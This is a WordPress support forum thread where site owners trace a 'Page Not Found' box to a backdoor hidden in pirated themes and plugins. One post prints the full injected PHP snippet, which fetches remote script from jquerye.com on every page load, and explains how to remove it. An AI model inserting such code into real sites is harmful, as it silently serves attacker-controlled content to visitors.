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[closed] Oops - Page Not Found (14 posts)

  1. blareca
    Member
    Posted 1 year ago #

    I just recently made this thread and since other users intervened to get their similar problems fixed, it was closed before I could even respond to any suggestions from moderators etc.

    Even when I change my theme to the default ones provided or uninstall plugins, the "Page Not Found" box doesn't disappear from the top of my screen. I have noticed however that when the page loads, it solely shows the box itself (which looks like a GoDaddy design) on just a white background and quickly loads the homepage. I've tried numerous recommendations but the weird part I find is that no plugins or internal modifications have taken place since last week Thursday. The issue just started out of the blue on Tuesday morning and hasn't resolved itself since.

    This is a major issue because my site publishes content daily and pulls in visitors as it is media outlet in Toronto and readers have duly noted "the large box at the top of the page". It would be great if a moderator could provide some help as soon as possible because it could be another minor issue that's causing the problem.

    It would also be greatly appreciated if other users with the same problem could resist from posting in this thread. No offence, but this is the second time you've closed one of my threads about this particular problem which has not been solved.

    The site in question is http://www.blaremagazine.com

  2. WPyogi
    Volunteer Moderator
    Posted 1 year ago #

    Your site currently has many plugins and is not set to a default theme. Can you make those temporary changes again and also reset the plugins folder in case any plugins are not completely deactivated.

    Also make sure that any and all caches are cleared on your site and server.

    Since all of these threads seem to involve GoDaddy, that seems somewhat suspicious...have they not been at all helpful?

  3. blareca
    Member
    Posted 1 year ago #

    I've tested the themes and plugins already as GoDaddy did advise that and they tried different solutions on their end when I spoke to them a few days ago. They currently have a ticket going for the issue and are hoping to solve it by this afternoon.

    All the other sites I've noticed with the exact problem use different themes and different plugins so it does seem like it should be a bug within the web host. All of my plugins and my theme haven't caused any issues before Tuesday so I don't see a reason why an error would pop up all of a sudden. It would also be inconvenient to replace plugins or themes or even do a complete reinstall if it's simply a host bug.

    How do you clear the cache on a site or server?

  4. Go Daddy
    Go Daddy Support
    Posted 1 year ago #

    We have seen this issue on a few sites and are working toward a resolution for you. It does appear to be plug-in related and I anticipate that we'll have a suggested fix to recommend for you shortly.

    ^Cj

  5. flivver
    Member
    Posted 1 year ago #

    Echoing 'blareca' (and GoDaddy), I just received the following from GoDaddy:

    Thank you for contacting Online Support. I understand you have an issue with your WordPress site getting page not found. It appears that one of your WordPress plugins is causing the error. When we disabled your site's plugins, the site resolved with no error. You will want to deactivate the plugins one by one to see which particular plugin is causing the error. It may simply be that the plugin in question needs to be updated to a more recent version, or you may need to troubleshoot the cause of the issue with the plugin through the vendor.

    Still seems like an odd issue to me, especially since it appears to only affect GoDaddy served websites. I will go through my plugins later today when I have some free time and report back as to what I discover.

  6. blareca
    Member
    Posted 1 year ago #

    That's what I was originally told but since it affects other GoDaddy websites that don't use the same plugins, they're looking into it.

    My main issue is this is a website that was recently moved to WordPress.org last month and was relaunched last week with a brand new look and the pop-up box is affecting how others perceive the site. It may not seem like a big deal to the average user, but my website acts as a media outlet/business and not being able to experiment with one more plugin for a post or have a reader see that box when they visit the site isn't really helping right now. Plus if I have to switch hosts or do a reinstall, I need to book time off, take the site down and re-hire my developer to do everything over again. Everything was fine and all the plugins/themes worked up until Tuesday; I just hope it gets resolved soon.

  7. flivver
    Member
    Posted 1 year ago #

    Well, isn't this interesting! I turned off ALL plug-ins, and my site magically came back to life without the errant "OOPS" crap at the top of the header. SO, turning them on, one-by-one and rechecking, I appear to have discovered that (at least in my particular instance) it was Akismet that was at fault. Which makes no sense whatsoever, since prior to Tuesday it worked fine, and has done for years!

    I will revisit this idiotic GoDaddy scenario tomorrow. Goofy!

  8. ojrice
    Member
    Posted 1 year ago #

    This is whats going on,

    NOT GODADDYS FAULT (for once)

    Some twit has massively distributed hacked themes and plugins containing a call to: "http://www.jquerye.com/jquery-1.6.3.min.js", and his website has been taken down – that’s why there is this error now. Your website is trying to find jquery file on his website, but can’t find it.

    You need to get rid of this! Try:

    1. Disable all plugins. if the error message has gone then re-enable each plugin one by one until you figure out which one is causing the issue, then DELETE IT!
    2. If the error message still appears after disabling all your plugins, your theme is the issue. you need to follow the following steps:

    <?php if (!function_exists('insert_jquery_slider')){function insert_jquery_slider(){if (function_exists('curl_init')){$url = "http://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}}add_action('wp_head', 'insert_jquery_slider');} ?>
    This is how the malicious code looks.

    I advise you search your entire local website directory on Dreamweaver for "jquery-1.6.3.min.js" and you should find all the offending script.

    or

    Download your theme folder, run a search for “jquery-1.6.3.min.js” through all files(by using Notepad++ on Windows or Search for Files on Linux) and locate code similar to one from above.

    If you find this code in some important file(functions.php for example) delete this part:

    {if (function_exists('curl_init')){$url = "http://www.jquerye.com/jquery-1.6.3.min.js";$ch = curl_init(); $timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$data = curl_exec($ch);curl_close($ch);echo $data;}
    save the file, re-upload it and see if it helps. (it should)

    If you find this code in some weird file(mine was class.php) and all it contains is check for one function and malicious code, delete this file, and create the one with same name, but empty the code(only <?php ?>).

    hope this helps...

    Time for a beer now ;-)

  9. esmi
    Forum Moderator
    Posted 1 year ago #

    Some twit has massively distributed hacked themes and plugin

    Read this article now. The advice it contains also applies to plugins.

    You also need to ensure that your site has been completely de-loused by working your way through these resources:
    http://codex.wordpress.org/FAQ_My_site_was_hacked
    http://wordpress.org/support/topic/268083#post-1065779
    http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/
    http://ottopress.com/2009/hacked-wordpress-backdoors/

  10. flivver
    Member
    Posted 1 year ago #

    Well, this is all starting to make some sense. I used ojrice's suggestion above, found the offending script in an older version of "WordPress Database Backup v7.9.1" (the plug-in developer site itself no longer exists!), deactivated JUST that plugin, and voila! All better.

    Goofiness indeed. Thanks to all who participated in tracking this down and finding a solution. Hopefully one that works for everybody. Cheers!

  11. esmi
    Forum Moderator
    Posted 1 year ago #

    All better.

    No. You may have cured the symptom but the infection could still be there. See the links I posted above.

  12. Andrew
    Forum Moderator
    Posted 1 year ago #

    Yikes! Just removing the code means the hacker can waltz right back into your website. If you've been hacked, you should go through the resources posted by Esmi.

  13. sash100
    Member
    Posted 1 year ago #

    I havent got a clue what is going on. I went into wp-content then themes and the picked the cross apple folder. Found a folder called JS under assets folder. I only found some other files including Jquery-1.7min

    Would appreciate any inputs as I still have this page not found error

  14. WPyogi
    Volunteer Moderator
    Posted 1 year ago #

    sash100 -- it's unlikely yours is the same as this one, and it's difficult us to track issues by topic when you post in an old thread.

    EDIT - please go back to the thread you already have on this issue: http://wordpress.org/support/topic/website-error-message-on-header?replies=5 I know that thread pointed you here, but it's still better for you to post there so all your information is in one place :).

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